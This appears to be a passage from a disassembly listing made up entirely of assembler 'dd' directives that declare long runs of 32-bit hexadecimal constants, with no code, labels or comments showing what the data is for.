		dd 0B674936Fh, 951D028Ah, 9D39C400h, 31309112h,	0D8520096h
		dd 0B03B24C2h, 751CFE11h, 34802E95h, 0EB058346h, 63ED001Bh
		dd 85EC4F77h, 0D774D371h, 0FFCA4050h, 0BEB0270Eh, 6411C043h
		dd 0C517B2h, 304D6D41h,	1440F2BAh, 39628F06h, 43088E1Bh
		dd 6704FFB0h, 6AA415D1h, 381F8EECh, 0BD077BB3h,	41108972h
		dd 7225F2D4h, 0B27DB9h,	8F510635h, 7C7DEA6Fh, 1B64A67Bh
		dd 3C21E629h, 0E9A31134h, 8B07C410h, 88238A80h,	1C40E18Ch
		dd 0D2EC44A7h, 7E518865h, 0F8841404h, 4AEF7B44h, 42085096h
		dd 438A842Ch, 143F0A1Eh, 946FBD08h, 0CD112836h,	87321F4h
		dd 1A9422B3h, 6B920814h, 78F71419h, 281AEC11h, 0D03148Eh
		dd 0CF2FE270h, 6B5AF05Ch, 58E60050h, 0D68A28BCh, 7A3F78F0h
		dd 0C6321E53h, 0C9777F80h, 2E4E38EAh, 0B10EBAh,	0AE7C85CEh
		dd 0ED002B6Eh, 0FE260BD1h, 3E948DD8h, 0BC001CF3h, 85CC3775h
		dd 3F00C304h, 8762A6EEh, 6B5E16h, 2FEB8FA7h, 0DE571E0h
		dd 0A6002372h, 0EFA28642h, 77AA0F1h, 68ACF3E6h,	0A301703Eh
		dd 521D810Fh, 57D87823h, 0E1E011h, 2054D858h, 0DB89766h
		dd 0B7F28C00h, 0C74042F7h, 0B462001Dh, 0B5F9838Bh, 3200BDF6h
		dd 43A87744h, 0E0AD6A4h, 11CFF813h, 30011472h, 70401C00h
		dd 0A8B9E1E8h, 0C792EB06h, 5FA4817h, 0DA3DCE72h, 6DC580B6h
		dd 3A029AA2h, 810D3193h, 49FC57A4h, 0EFC1DA1Eh,	855DEE6h
		dd 0EB57EC0h, 3E4E7B2Dh, 0DDDF0180h, 89127697h,	680F1E59h
		dd 0ADA78714h, 53BE80E9h, 4D23486h, 0EBCA9B48h,	0DEFAC004h
		dd 0EA1759C4h, 9800DDA0h, 22AF31A4h, 76027E38h,	0FA5B041h
		dd 72F2144Ch, 0D3CF5580h, 0AC0E96F3h, 0A01BB976h, 0FC3D2AB6h
		dd 8FB4A00Fh, 0E33E0001h, 22E5F5C9h, 2A057A83h,	66139ACDh
		dd 45C02087h, 0AB107EBh, 3A7DB35Bh, 0FDE3008Fh,	0B9FBBCCBh
		dd 0C3CCD8C0h, 0E764F5h, 18760752h, 294E48C5h, 23D7A903h
		dd 0C0E9B2D2h, 2B0B66h,	15030F76h, 73C531E0h, 980320FCh
		dd 3BBE9A7Ah, 6E7FB86Dh, 0B7F028A6h, 5A3900D3h,	0B6657944h
		dd 3BF41B8Eh, 19D03800h, 0EA76500Ah, 5BC20021h,	0C409AF05h
		dd 7400BDEFh, 548610A2h, 0CCAAB71h, 0CD62F8B7h,	0BD00D692h
		dd 0CCFD59AFh, 9A0F88h,	0A5C93B4h, 273F6A26h, 0F5106100h
		dd 146686EEh, 75BA01ECh, 727AC9C5h, 0F7FCD0D2h,	0F224B800h
		dd 87CC6230h, 0D76400CDh, 0E5DAEBA7h, 0BC004DA2h, 2633ED5Ah
		dd 0B1057Bh, 76A47A8Dh,	0FAA8BBF2h, 4AD69900h, 0ABC1732Ah
		dd 0E0420719h, 1193A64Eh, 80F98698h, 29D3CA28h,	0ECD53433h
		dd 6BF71211h, 145400A1h, 0DB61013Ah, 51FCAC50h,	6606BB01h
		dd 116298A9h, 0E31BFCh,	64AB5949h, 0E667FB3Dh, 22E9638h
		dd 0AFD55812h, 0DF72E07Dh, 0C0BE005Eh, 40D77161h, 401E2AAh
		dd 0AC8E177Fh, 92DC07ECh, 0CF7D0F5Fh, 8434013Fh, 1569EF07h
		dd 0E444E08Bh, 4500A448h, 27B46511h, 1E62353Ch,	40E5AC21h
		dd 94E8496Fh, 9C3BA672h, 271600C2h, 2A83A17Eh, 78FC000Ah
		dd 7C56B3C8h, 0F800694Fh, 6715EEFAh, 4CDE7F9Bh,	0FD00A1BEh
		dd 0D354067Ah, 0D5001D2Bh, 520366F8h, 786EC7Ch,	6D837289h
		dd 0B6E2F0B9h, 0A87910D1h, 82467101h, 0D938AD4Ah, 2414F4h
		dd 9B979364h, 0FF2F61B1h, 92B81700h, 7FECC648h,	0A36B00D6h
		dd 77E68B33h, 2F070AD3h, 0C174379h, 7A949AA0h, 0D4F200E8h
		dd 0DE7336ACh, 303B2C8Ah, 818481D3h, 62887C49h,	5C196D30h
		dd 0FE009193h, 780AF061h, 0F74881EAh, 870600A8h, 3D5610AAh
		dd 0F07400E3h, 5CEB576Dh, 7E00BCFEh, 0CABA48F3h, 0A1EC46Eh
		dd 0B6DE3D9Bh, 0A0450CFEh, 2E00AB56h, 1243A7D1h, 0F19DCB7h
		dd 0FE3A1AD0h, 697A8C40h, 3F0013E6h, 6559C8F5h,	554AFAEh
		dd 50AAF77Ch, 6BD0C3E4h, 1A0EF5E0h, 6F007972h, 0A983B047h
		dd 1C744D03h, 40A65CCCh, 0DDC38D0Ah, 0C0907378h, 8F7F7B00h
		dd 319C3CC6h, 0F8E990ADh, 34F100C7h, 0B4FD2188h, 0C903DE14h
		dd 0F516B1A9h, 0BCA4D88Ah, 93EE00E9h, 3D99627Dh, 0A8004B1Ah
		dd 1DD677B2h, 3CAA2637h, 0B854E47Fh, 159A04C2h,	80C4C150h
		dd 1B953CAEh, 3891D700h, 0CAD44F9Dh, 7E578A0h, 2855A51h
		dd 316C7077h, 0B203F7B4h, 9F40D4Dh, 0FCBB095h, 0AD3200F0h
		dd 21711A39h, 1203D617h, 6C9774C6h, 0B6F5805Fh,	45729Ch
		dd 0B1BC9965h, 7F3CAAC8h, 0A7B77000h, 39C2194Eh, 73F3006Eh
		dd 0A293905Ah, 770120C3h, 1ED12381h, 0B9C81968h, 0E827004Dh
		dd 9DABB9Ch, 0BC3B3F76h, 0F83D8025h, 0D8C7D671h, 9FFB0007h
		dd 0B77B5034h, 1FFC857Ah, 750AA300h, 0B36BE166h, 156148C3h
		dd 0C28D561Eh, 5EA8FAE6h, 0A042E940h, 0AD54C400h, 463257ABh
		dd 87DE011Ch, 8565AAB3h, 154EF4D7h, 0D60E7F12h,	9716E500h
		dd 79A8490h, 61A50F24h
		dd 8C1E50D1h, 0B105C415h, 0F35C9BC6h, 0C2DE0080h, 8597003Dh
		dd 0E7E99088h, 0D60FD16Ah, 0EE063EA0h, 71BC003Bh, 74D96323h
		dd 0B47700AFh, 6B18968Fh, 24003D3Ah, 978D82B7h,	0F33800Eh
		dd 6058AB4Dh, 3AC8B8E0h, 0C50792E3h, 3EF41554h,	839F4DB0h
		dd 57AF008Eh, 0F549B17Ch, 18F6DEFBh, 216D2500h,	1C36E834h
		dd 0F915502Ah, 23F0179Ch, 0AE6000F1h, 6034E542h, 4D500100h
		dd 0EABE9228h, 4FF04CC4h, 0CBC7EB00h, 42A3692Dh, 63E0021Fh
		dd 6068E38Fh, 216CD4ACh, 893701DFh, 8D366212h, 774EC8B7h
		dd 0E42EFD03h, 0C07F69ADh, 0EE188A73h, 80E600A2h, 0E0C0D18Bh
		dd 68007876h, 8763A354h, 0C82956Ch, 2F93C84Bh, 0AF039B32h
		dd 815F9446h, 0BA20002Ah, 5D4C8D27h, 5607A977h,	3BF89706h
		dd 0F7C9A07Fh, 0ABE2C5h, 0F964EBCEh, 42985855h,	306DFCF9h
		dd 0FB00E090h, 97812C23h, 1CBB7B72h, 0C084BEA1h, 0A28EB7AAh
		dd 5006C95h, 1F6EA811h,	0FB4DE51h, 8AF83C6h, 8A80B76Eh
		dd 0C707346Ch, 0F8FDFCA0h, 0C872A91Fh, 0E83ED9C0h, 70D85A9Ah
		dd 21530037h, 9DECEFA1h, 2A00C239h, 628A945h, 0B096111h
		dd 0C8CEFACFh, 0B7CC5900h, 0FB00750Dh, 0CDEE1073h, 34A076h
		dd 0ACB49926h, 792BDCEFh, 0FCB8D807h, 0C460887Bh, 0F516515h
		dd 24F2FAB7h, 3C483660h, 91000CDFh, 0FCBA8EFFh,	379BE0h
		dd 0CC21203Fh, 0C06C82A3h, 1D5F4Ch, 5AE19E1Bh, 1FF487C8h
		dd 806130BDh, 6A56096Ch, 65003C8Ah, 8515502Ch, 1D72259Ch
		dd 0C05C488Eh, 61DC79C8h, 28009A94h, 0F470300Dh, 7EC2B7h
		dd 1205DFE7h, 18EB31CCh, 78FC69E0h, 0B5BE9D00h,	3CFC082Ah
		dd 49DC0012h, 973AFB01h, 0A7039275h, 62F32E77h,	3C5EE8D2h
		dd 246000DDh, 7C96DB31h, 8F018D52h, 8E74EECDh, 0AA304AE5h
		dd 3DB61FE9h, 153A4006h, 0E2337C4Eh, 2D491D00h,	0A11CF3C4h
		dd 0FB0B055Ch, 80186377h, 9505C28Ch, 276D724h, 1FBD3E1Ch
		dd 0D1800C51h, 0ED3AA2F8h, 6EB31EEAh, 5F003952h, 0AE0BB6A7h
		dd 65000E10h, 87B9BA42h, 4C8DF7C7h, 0DE003459h,	9BC3B54h
		dd 9E0FB366h, 61E8D8ABh, 45FDBFB2h, 7E93DFh, 0FA715990h
		dd 0AC55F47Bh, 67F96309h, 46D8804Fh, 0DB12E08h,	0CDB70AE3h
		dd 1572D090h, 0ED408F78h, 43E0059h, 80717D4Fh, 0E600D060h
		dd 5ACD8D5Fh, 138E73h, 427990DFh, 16EB75B2h, 0F420D100h
		dd 892BD2E4h, 984F0044h, 0CA64459Bh, 460EB661h,	0C320BD6Eh
		dd 0C8CBA934h, 7EBA078h, 79266B5h, 8B57D096h, 0FA0026BFh
		dd 3D7BBD28h, 5CFC050Ch, 613F5B35h, 0AD9F6780h,	0AB682EAFh
		dd 6A19DD00h, 36A9B118h, 64A10037h, 0DC4689DFh,	97E4966Eh
		dd 659C7C50h, 1CCA7300h, 0D22D53ADh, 0EF9000D1h, 39C7BA1Fh
		dd 0A7008DD6h, 166920ECh, 3C6535h, 0BF71E580h, 0A47BDC22h
		dd 731E0899h, 56D2D082h, 5D0602Fh, 0DC7F0109h, 4DFE329Bh
		dd 818047FDh, 0E01B02A4h, 22499786h, 76990408h,	289072A3h
		dd 0B89A38h, 302823D2h,	0DB24FF44h, 0F15E3B00h,	0DC58C8DEh
		dd 87070179h, 0A02CACDDh, 4EBDB4Ch, 7A98EAC3h, 96003FF4h
		dd 0B9058699h, 0EB2D25Eh, 0FAB4338Ch, 0B519095Dh, 0E3131C00h
		dd 0AC006ED3h, 3DF7B9D6h, 3F621FD7h, 1102245Ch,	74180533h
		dd 39BD2D00h, 1C94FE6Fh, 808734BCh, 3AE0B6CAh, 831E3852h
		dd 4040DE90h, 7E4162A8h, 56D10151h, 12C4B967h, 0B2F98B8Bh
		dd 0ACF38094h, 85D54Ah,	0AE398CA3h, 4CC019CEh, 0A0A12E00h
		dd 0AB135DDCh, 41D4A87Dh, 0BBD0A954h, 68A5C840h, 124AEE3Ch
		dd 24EEE2h, 4EDA3EA0h, 0A303E982h, 0B6C26190h, 97CFC055h
		dd 0D14900D8h, 13E37FB3h, 7928BEF9h, 4110D42Ah,	0A848284Fh
		dd 82AC1C00h, 16DF8121h, 3D132300h, 0FE779F31h,	357E00DDh
		dd 68A13BE6h, 2800A56Fh, 0B4E050D4h, 921A4Bh, 0F644E72Ah
		dd 9A3BEA58h, 821D8AFAh, 6B40BA68h, 9C235E96h, 8DE600F9h
		dd 0BEB21CBBh, 44092639h, 80C1526Ah, 7CFB5A30h,	18D64869h
		dd 7DE77500h, 0FF7CF12h, 0D0027E18h, 1CBFAB18h,	0C03A8524h
		dd 0E2A2C168h, 7F002286h, 86B1FEEh, 1FCF3816h, 0C1B4A3FFh
		dd 0BDCC4445h, 0CB03055h, 8C49A00h, 288E361Bh, 0D4EC0FB2h
		dd 4840DA35h, 1175B1FEh, 0DCA16A03h, 8A20B509h,	9DC48051h
		dd 34C98h, 78DEFC5Fh, 2483D88h,	0AAD0F000h, 0D1534FFDh
		dd 0FEDA00EBh, 676F0A56h, 0C83E3966h, 5526804Eh, 6540D890h
		dd 0A8A95CAFh, 0C40C2Ah, 0C549C6BDh, 9A0DB2C8h,	801C2601h
		dd 483AA1B0h, 0E83FABD0h, 0C6AD1FF4h, 47B34015h, 0CDE49ADEh
		dd 8254A802h, 60414377h, 686C05DCh, 9C5B058h, 55006BADh
		dd 229E12ABh, 176D5F00h, 59A31910h, 309200AAh, 0A7291FD9h
		dd 57092BBBh, 80F7CEA4h, 6583E3DCh, 0A0DD00BDh,	0E5FA52A6h
		dd 0BE26126Ah, 4A00901Eh, 0C670DF02h, 0FD19805Dh, 14917500h
		dd 105FDE74h, 0ECF650E6h, 6C751Ah, 0A3C28697h, 1815E7B7h
		dd 0A8097900h, 69B5379Ch, 16FD2ECBh, 1D95045Ch,	1ABC80D3h
		dd 0D4778029h, 47BE8C00h, 0BFB55839h, 63D103A1h, 36EF3526h
		dd 6EEADD8h, 7638C200h,	0EBF0EC05h, 0BE460392h,	85AEE515h
		dd 30C8DBF1h, 5051D6FFh, 0A7E26094h, 7C3694A0h,	3AC7CF1Dh
		dd 0FBFCD180h, 1378CDB6h, 21741C96h, 0F0E7E6ECh, 8D014FFEh
		dd 2F3C8833h, 25C0466Fh, 5ABB00B5h, 4D545387h, 6770B4B0h
		dd 86D63300h, 5EAC5295h, 14E03E99h, 50638A83h, 73A8EC51h
		dd 4F006065h, 0E5B7C70Eh, 3A6D909h, 0E92F8C38h,	14A99519h
		dd 0F5E85178h, 0C36862C0h, 74E8A96h, 81B2B311h,	0C6C1013Ah
		dd 0EF98D76Dh, 0B73C1F66h, 0E7BD80F7h, 420287A8h, 0C3550986h
		dd 1D80A5FDh, 0FF0E923Ah, 0F843341Eh, 77E4A200h, 833DC0h
		dd 88B06A26h, 0B8AAA950h, 565AF004h, 0C8C0DC95h, 0ACF125h
		dd 0E9659FD9h, 6499A846h, 0DFEA507h, 7880EB60h,	24877A52h
		dd 5E04A48h, 83F75022h,	16A0658Ch, 0F200E2AFh, 0D546C135h
		dd 90743Bh, 0BACB062Dh,	61243E53h, 0C6D85100h, 0FE20A968h
		dd 0FE6D795Ah, 0C07609h, 0BD4B972Eh, 5D18EDFh, 98A0C677h
		dd 3405A335h, 661A76EBh, 0D07FD980h, 1E1B09EAh,	7CA08472h
		dd 4E2632F3h, 8F6C9207h, 166041D8h, 0EE7EAB6Bh,	1FC97EB6h
		dd 0C9DFC657h, 0D80246C5h, 48C284D5h, 2ACC9C48h, 7AFBDB00h
		dd 0FAC811C5h, 56C4001Dh, 4DD8A793h, 32006DA8h,	2796D789h
		dd 2C3C2A3Bh, 787B20h, 51AFF0E3h, 0E87803FAh, 7000A57Ah
		dd 0FB145713h, 8CD2A2h,	0CA6F521h, 0F6A1CC42h, 7156E097h
		dd 0B5DC005Bh, 4B5AE2CAh, 0EA186713h, 0F258851Ch, 882B0025h
		dd 2430E664h, 7658FB98h, 0F1430087h, 0ABC86C02h, 293A3DDBh
		dd 0B5384BBFh, 2F9FE180h, 0C81566Eh, 0D9944100h, 1EC4C33h
		dd 0FD790FE4h, 74A089D5h, 0B6C64EFBh, 9C7B64F6h, 3BCDA400h
		dd 6C58A3C7h, 0B0780013h, 0AEB7E9D0h, 53E6F151h, 55C6EF00h
		dd 358701Dh, 0C8D9015Eh, 46B44DE9h, 0DBA47018h,	5CA6413Dh
		dd 8211170Ch, 90209C40h, 0CC2EC3h, 9CF1806Bh, 6E714B35h
		dd 0A00029F8h, 7319ACD9h, 0C4661B7Eh, 0C76909D4h, 0A66FA0A4h
		dd 64005AE1h, 2C90A07Bh, 204BD72h, 9E77EC6Eh, 1CE8DA83h
		dd 0B40E2833h, 40257BF8h, 8AF553B9h, 2FCA007Fh,	45A6177h
		dd 872E511Fh, 0D7134E5Fh, 27316D00h, 0FABC02h, 0C30A6418h
		dd 80EE444Bh, 1B9039h, 266D1CF9h, 7B52B3Ah, 0DBF56EA9h
		dd 48A08BDCh, 0B123AA31h
		dd 6F0B0900h, 1EF9DE8Eh, 0C4A30334h, 456790F0h,	1BAE9EF0h
		dd 8096DA3Eh, 57D59B59h, 7973DBh, 950AB3C0h, 31FE30A5h
		dd 56E26B07h, 5D904A7Ah, 90BBBh, 842140B9h, 0D8BFA7FCh
		dd 89537200h, 39A9182Ch, 0CAC0030h, 61976D43h, 0E2050570h
		dd 0B7DC4DBDh, 944294C0h, 1CF100FAh, 442FB171h,	9000099Bh
		dd 5865C524h, 0D29C30h,	0C13E69E9h, 7966230Ch, 0B276F00h
		dd 7CF828C3h, 0C73D3EA1h, 835F1680h, 4D65A552h,	0F0143F4h
		dd 9F2D77DBh, 0FC40994Eh, 1CBFB241h, 85C417CFh,	1F62D8F5h
		dd 33DA4098h, 63AF0F32h, 0F0D5842Ch, 58919E80h,	0C0C9195Bh
		dd 42670E91h, 0CF46145h, 3B0081B0h, 56B3CE40h, 1C91F33h
		dd 5F675EFFh, 0C4F73ABBh, 0F3391BA9h, 8B38009Eh, 0B7B3A54Bh
		dd 4601130Ah, 0CBC20009h, 0BAE2C32Dh, 0C0DF2500h, 0E973E8B1h
		dd 0DB9400A4h, 0B3BCBFD0h, 2D09C167h, 1E59ECh, 0E20E2568h
		dd 0A3151DE9h, 11768093h, 48D7A160h, 0A20D2E00h, 988C7FC6h
		dd 34FD0033h, 730A6B92h, 2F1D527Bh, 62802D28h, 851AE7A6h
		dd 59400081h, 50B46F3Dh, 0E11CAF70h, 0A200BC60h, 19FE4973h
		dd 0DE9900E4h, 649CE27Eh, 0DA00C370h, 679F02D6h, 0DCD12Fh
		dd 9780F1E7h, 1EEDD9DBh, 787AB000h, 45DE48C6h, 41CF039Ah
		dd 81286307h, 53826990h, 2016AA07h, 0FEE1953Bh,	34706561h
		dd 84300E4Ch, 0C3635833h, 22B03F7Eh, 0EE0F4EA7h, 635394F1h
		dd 8064F4AFh, 3083C61h,	3F929E11h, 0BE84D04h, 0F8E9D732h
		dd 0D13A2262h, 0B4838030h, 1C085BBFh, 355900CFh, 73F41FADh
		dd 217FA44h, 0EE00B8AFh, 0EF8EC599h, 58D0B532h,	693C3000h
		dd 27097A3Dh, 862A00D5h, 58C1A161h, 0F30012BBh,	0D08EE30Ch
		dd 108263h, 0DAFC1634h,	6883ACBAh, 0CFC18800h, 0FD2F58D9h
		dd 922600FAh, 0E57D050Dh, 97078AB0h, 0A8DBCA07h, 5CC08170h
		dd 987E0169h, 61254B72h, 404ED1F1h, 0BC30F094h,	990974B8h
		dd 24FD5033h, 7EFA2B6h,	0EF082E3Dh, 0C7EF8E4Fh,	48580320h
		dd 240071C2h, 830FCB11h, 6BF888Ah, 0BCA328E9h, 0A0179D3h
		dd 9B8FC5CAh, 80E2D2D6h, 0D3B94E9Ch, 722107B6h,	0E0D8A58Ch
		dd 6498112Ch, 6EE0EB02h, 0E3C76709h, 0E02EEB8Ah, 8A446Ch
		dd 711E578h, 0CF37B4EFh, 0AF930500h, 0B35B7F16h, 1E55FC15h
		dd 54E3F8h, 4DC450Ah, 1701240Bh, 53604A6Fh, 0CE8988Dh
		dd 0A54003Fh, 41BDDFBFh, 2B01F89Ah, 0FC121AB1h,	78E4E9D9h
		dd 3442018Dh, 0EBAF0B4Bh, 2932ECA7h, 12008CF6h,	83E71728h
		dd 1C914CFEh, 801D9FBEh, 0F692B5A8h, 8D005EE0h,	5462A4C6h
		dd 0C0590D61h, 1867BE10h, 0DBFF656Eh, 0D2BA2BF8h, 0B0E2F200h
		dd 907C5E0Bh, 0DD470073h, 0CE4BDA84h, 2A3E4A71h, 745C99h
		dd 0FB7F79B9h, 0EA0343Ah, 916201D6h, 6C971800h,	5900640Fh
		dd 0F18152BCh, 5F92DAh,	2991126Ah, 0B6A426BAh, 3468AC01h
		dd 0C5E688DDh, 0FC2D6424h, 73F80770h, 0A125AC1Fh, 802B9B4Ch
		dd 18B5F311h, 6074E3h, 0F6811D0Dh, 0FEE66B58h, 9F005C73h
		dd 0D9DA28A2h, 4135560h, 0E4CC1E9Eh, 40008731h,	4C36C5Bh
		dd 0BBDF6F00h, 1C6672C4h, 0ED400E75h, 2C87D043h, 56B1C00Bh
		dd 4200C604h, 8F8E4AEh,	5046B2h, 868409A4h, 1BCCEF69h
		dd 0A5C99700h, 9C1ACF8Ah, 3C5F0029h, 0FD6FE81Eh, 0B60925Bh
		dd 93FA1678h, 51390307h, 6E4F7A4Bh, 66E16890h, 0C6C04200h
		dd 44869849h, 4E2C003Eh, 5CAB4840h, 61FA079Eh, 0A74F9F00h
		dd 0C653AD30h, 0CF340094h, 851D455Dh, 0F70227B5h, 71339E06h
		dd 0DB15607Eh, 0ECAB0C98h, 44800C12h, 864A930Dh, 0F40207Fh
		dd 0DEF584h, 85F22E92h,	17D7BE5Ch, 8C124202h, 0E03C4307h
		dd 7C68E151h, 632A00DCh, 0E6C3AE81h, 92B00F58h,	0F300597Dh
		dd 34CE12D4h, 0ECED2C0Dh, 67FF1984h, 8068F8ABh,	3D02568h
		dd 4847BAA3h, 0B10F94B2h, 4A0C2DEh, 8E349E60h, 90FDE200h
		dd 0EEF1F4A6h, 99920053h, 0ABFE4650h, 0DF3B2DA9h, 8F5605D9h
		dd 46C0AEB0h, 24A30AC2h, 80EC7ACFh, 595CBDB2h, 177B7522h
		dd 70C7880Eh, 0AC3961E7h, 64F87FF6h, 0DEE800C9h, 6C8F6AB3h
		dd 0D185460h, 0A678B61Ch, 913B00FBh, 905342C8h,	0D400822Dh
		dd 9E1C9606h, 0FC402BFDh, 738B7A5Ah, 2DEE0069h,	0A470753Bh
		dd 12004E3Eh, 7DE0F87Ah, 0DE42A165h, 0DFBEC8A0h, 4C8CDB03h
		dd 40CFD83Bh, 7DD703AFh, 0C09F2FA2h, 73A1B80Eh,	91C27D19h
		dd 40940426h, 0B8337C68h, 27EF0723h, 707A309Bh,	63E179B0h
		dd 0C31A670Fh, 0DD930721h, 8AA19510h, 5AFD005Ch, 97985DC5h
		dd 0F8009B40h, 0FA03F515h, 727501h, 25140982h, 4A67C5B6h
		dd 0CA03ECB0h, 6436FA96h, 55539078h, 0A8470295h, 0F2CD5B48h
		dd 73298D40h, 179FCF03h, 0A75F323Bh, 0AFA0EFB1h, 0C54560h
		dd 6547CABh, 5015B67Ah,	1C13B00h, 6B4348DAh, 4BE00AAh
		dd 0B0E82DC3h, 0C8002175h, 1979C252h, 64057Bh, 0EA113777h
		dd 0AC2DD3F5h, 5C669A00h, 0BA103830h, 441900ABh, 57429028h
		dd 4C742AA8h, 301F6701h, 0F99462F2h, 3D266ED8h,	652CFB36h
		dd 8B5D0088h, 0DD0769D4h, 0E8BBF600h, 5AB31398h, 0D66E03BDh
		dd 0CC0DD092h, 3F023B80h, 2C046D1Ch, 53C93280h,	3EB969h
		dd 13520E44h, 0A9A257BCh, 6C9BB500h, 41D290DFh,	9437004Eh
		dd 5424C502h, 0D11D1D6Fh, 83C06ACDh, 0C38252BEh, 0FC150057h
		dd 3D33DC6Dh, 0C800EA74h, 0D360EB7Dh, 49630Eh, 0FCA2FD7Ah
		dd 40902671h, 2745F51Eh, 53C0AE5Eh, 5A991F0Fh, 786C77AFh
		dd 1BEC0F16h, 0AC003ADFh, 0E224F1A1h, 0B800FDEAh, 9613A33Ch
		dd 0B8FC2880h, 4EEF1728h, 0B64A095Bh, 33C30B00h, 5030EB8h
		dd 8C01FCD2h, 892FA864h, 0D0AD48D6h, 3999411Fh,	3FC09583h
		dd 0E67CE417h, 190008FEh, 0DEA58235h, 262FAFB0h, 80DCB50Ch
		dd 0D514F443h, 1B98BFBCh, 80EEAD38h, 0E26433C0h, 9EB445h
		dd 5EA258A7h, 0D580E366h, 0BE7E0300h, 0C2F51D41h, 2D1E4A9h
		dd 18E95FCCh, 44C0BCA0h, 249948DBh, 9F9ABF04h, 0C818080h
		dd 39207EB9h, 0E40039B6h, 0E54CDEA6h, 9675F233h, 25C33E03h
		dd 26A83D47h, 4378A248h, 0C0CC80DDh, 41317BF0h,	0D2720200h
		dd 37425971h, 61E40055h, 0E0F5A21Dh, 763D870Bh,	80F0BE8Fh
		dd 8A02D8BFh, 60801A08h, 397A68F1h, 185820B1h, 973E0077h
		dd 74C73F57h, 6D1008Fh,	382612E6h, 2B00BD8Dh, 57A8AB65h
		dd 16EECCA3h, 729ACBh, 0A64E0C6Ch, 6500A7DDh, 1DE549D6h
		dd 16D51E6h, 4CE0D838h,	0F95B1CB0h, 5860DA56h, 0B8038598h
		dd 0A74D07F8h, 0D2D8004Eh, 16E10239h, 0A14DD584h, 20C210C4h
		dd 7385D783h, 0A8200BFFh, 91B6CE72h, 0D3CDB32Ch, 6DC62200h
		dd 75A88CE1h, 0D43A009Bh, 82C5BA26h, 0CF003336h, 0A427C6A3h
		dd 0BBB2E5h, 2A982912h,	193C6358h, 0E08CF200h, 21C2F635h
		dd 2E9A001Dh, 0FC3DE80Dh, 4004145h, 0E0A2E3EDh,	4CA755C6h
		dd 0CD0179B3h, 87B1A0DBh, 0BE5AE89Ah, 0D700297Ah, 0B9B42F93h
		dd 924F3F4h, 641F197Ch,	0EA31E280h, 0BB00ED3Eh,	709A47C8h
		dd 0E1C3C4h, 209CC45h, 55D4A505h, 6900C8FCh, 0E3724AD3h
		dd 194A4B8h, 1F905A7Fh,	0C8E2D266h, 5D00C311h, 36AAC823h
		dd 0B8ACE5h, 0FBB5730Bh, 0DCECD2E6h, 0BC5C6E00h, 81DBE2BDh
		dd 0D4020076h, 2A8E7270h, 4D1C6233h, 13035B3Ch,	0C87153AEh
		dd 3234F6h, 9886CA6Dh, 0FB08B3F9h, 0A8026907h, 5F402FD3h
		dd 429FBDh, 0A266BB39h
		dd 68510F56h, 4FA3A600h, 7F92DBEEh, 2BB00243h, 961080F0h
		dd 0CE78A7E0h, 0EFDEF603h, 8861B32Ch, 0BDCF2Fh,	54161CAAh
		dd 39C2A8D5h, 8697E07h,	0BE209A09h, 0E55086B4h,	25ACCh
		dd 48DEB871h, 0FDAD7DAEh, 0EE24F400h, 0A66AB742h, 72943907h
		dd 9B718D80h, 769C4AFCh, 4EA5C100h, 81880D29h, 0DAA814EAh
		dd 0F400E5B0h, 0ACCE8ABBh, 4000E932h, 2BD63928h, 0E8DC3DD2h
		dd 9E4E0C9Bh, 2EB82FCBh, 821C6C7Dh, 0BA408087h,	4914FC19h
		dd 51D300A4h, 6A449902h, 0A10F455Fh, 609160B9h,	0F7B3E113h
		dd 0C00B005Bh, 0CBB08AC9h, 9600DDD5h, 68D7E2ACh, 8B7E32h
		dd 1240D921h, 18D3E1B4h, 865E0D00h, 157624CAh, 1D4401C0h
		dd 5FED1173h, 4639D88Eh, 0A66B9B00h, 0F67E14C6h, 0DD7F00FCh
		dd 5960CEADh, 0F00514Ah, 15167561h, 2A7BEFEh, 0B6ECF23h
		dd 0CC8049ABh, 61EC7B7Ch, 9D2BE1C0h, 5D7597h, 26A1706Ch
		dd 0A228FDF4h, 0EDBFC00Bh, 1D9B00FAh, 9B1CC1h, 858B5D0h
		dd 0ACF2FC92h, 0A9E45Ch, 213709D3h, 758F057Ch, 2BCCA0B3h
		dd 0C9E22E9h, 56F0B01Dh, 458B3840h, 0A01F4453h,	4A921Ch
		dd 27630A75h, 7616A1B4h, 3E315400h, 79A2938h, 90EE8EDh
		dd 3D2C56F9h, 0A0718407h, 0FA53BC89h, 27649F00h, 0B4053774h
		dd 0AAA800C9h, 8ED3BEDCh, 0E200B73Dh, 82548487h, 53A911h
		dd 0CF151C47h, 551B8E8Ch, 3A017301h, 0EB23D0A6h, 62545ECh
		dd 0CA6E48A7h, 6B1C10E0h, 7C40E7EDh, 0F5BE541Fh, 92850097h
		dd 0B27DA42Fh, 6E00E330h, 45AA5D35h, 2A2713h, 98FB7B61h
		dd 69C34189h, 0D13DCA00h, 0C6326A09h, 0FC8E04EBh, 80C5D8AEh
		dd 6CBA1151h, 3FCE1E00h, 0E68A74E7h, 0D02D2CC4h, 607505A9h
		dd 0E5D80032h, 0C95B6CAh, 572A9200h, 33A90881h,	358D337Ah
		dd 0DB98A39Ah, 275C1D7Dh, 119C30B1h, 48551CCAh,	0D50490C2h
		dd 80192343h, 3B89B8FDh, 0DD35E51Fh, 8125F98Eh,	0FB71D97Eh
		dd 0B2CE708Ch, 77053508h, 0DD89C387h, 0A7CC15C3h, 850E0591h
		dd 0F1D21BBh, 5CA83084h, 9A1D5774h, 7B2664A2h, 5A81ED1Fh
		dd 2FDDCF27h, 0FF0160h,	0B244589Fh, 5112465h, 3CC31228h
		dd 4D00927Ah, 3DABFC53h, 1EC41DFh, 38BFDD8Dh, 705A9A93h
		dd 5D00BA95h, 11DC6B0Dh, 0CC66528h, 9F123754h, 0C50C5388h
		dd 0B877745Bh, 703182E3h, 0FD000AC6h, 0F6ACAE8Eh, 2E389C73h
		dd 718483C0h, 0E8DFF061h, 7ACAC1h, 19D3B0C7h, 1DBB99A6h
		dd 1A709200h, 54154B9Ah, 247076h, 75E290A2h, 0F4813A74h
		dd 3114C803h, 0A87BA662h, 7F821Eh, 16597C80h, 0E3534642h
		dd 0FC549500h, 0E214B8ADh, 7CEAE8h, 49A94E03h, 0B6C3D5B9h
		dd 85605E01h, 0F96A46B2h, 0BFEA9CFh, 0A8D83920h, 424FC0h
		dd 0BFE098EAh, 0F42F60C2h, 1095A900h, 660E74ACh, 0CF28C08Ah
		dd 0EE7838D3h, 4E0062F0h, 5F39D19h, 0A8683C71h,	34B38Ch
		dd 2D228817h, 0B01D6D13h, 301F2F01h, 5AAE4B2h, 779BC8D8h
		dd 0B4E00F7Ch, 33E02474h, 5C02E1D3h, 0B7B8B4A8h, 1A652C05h
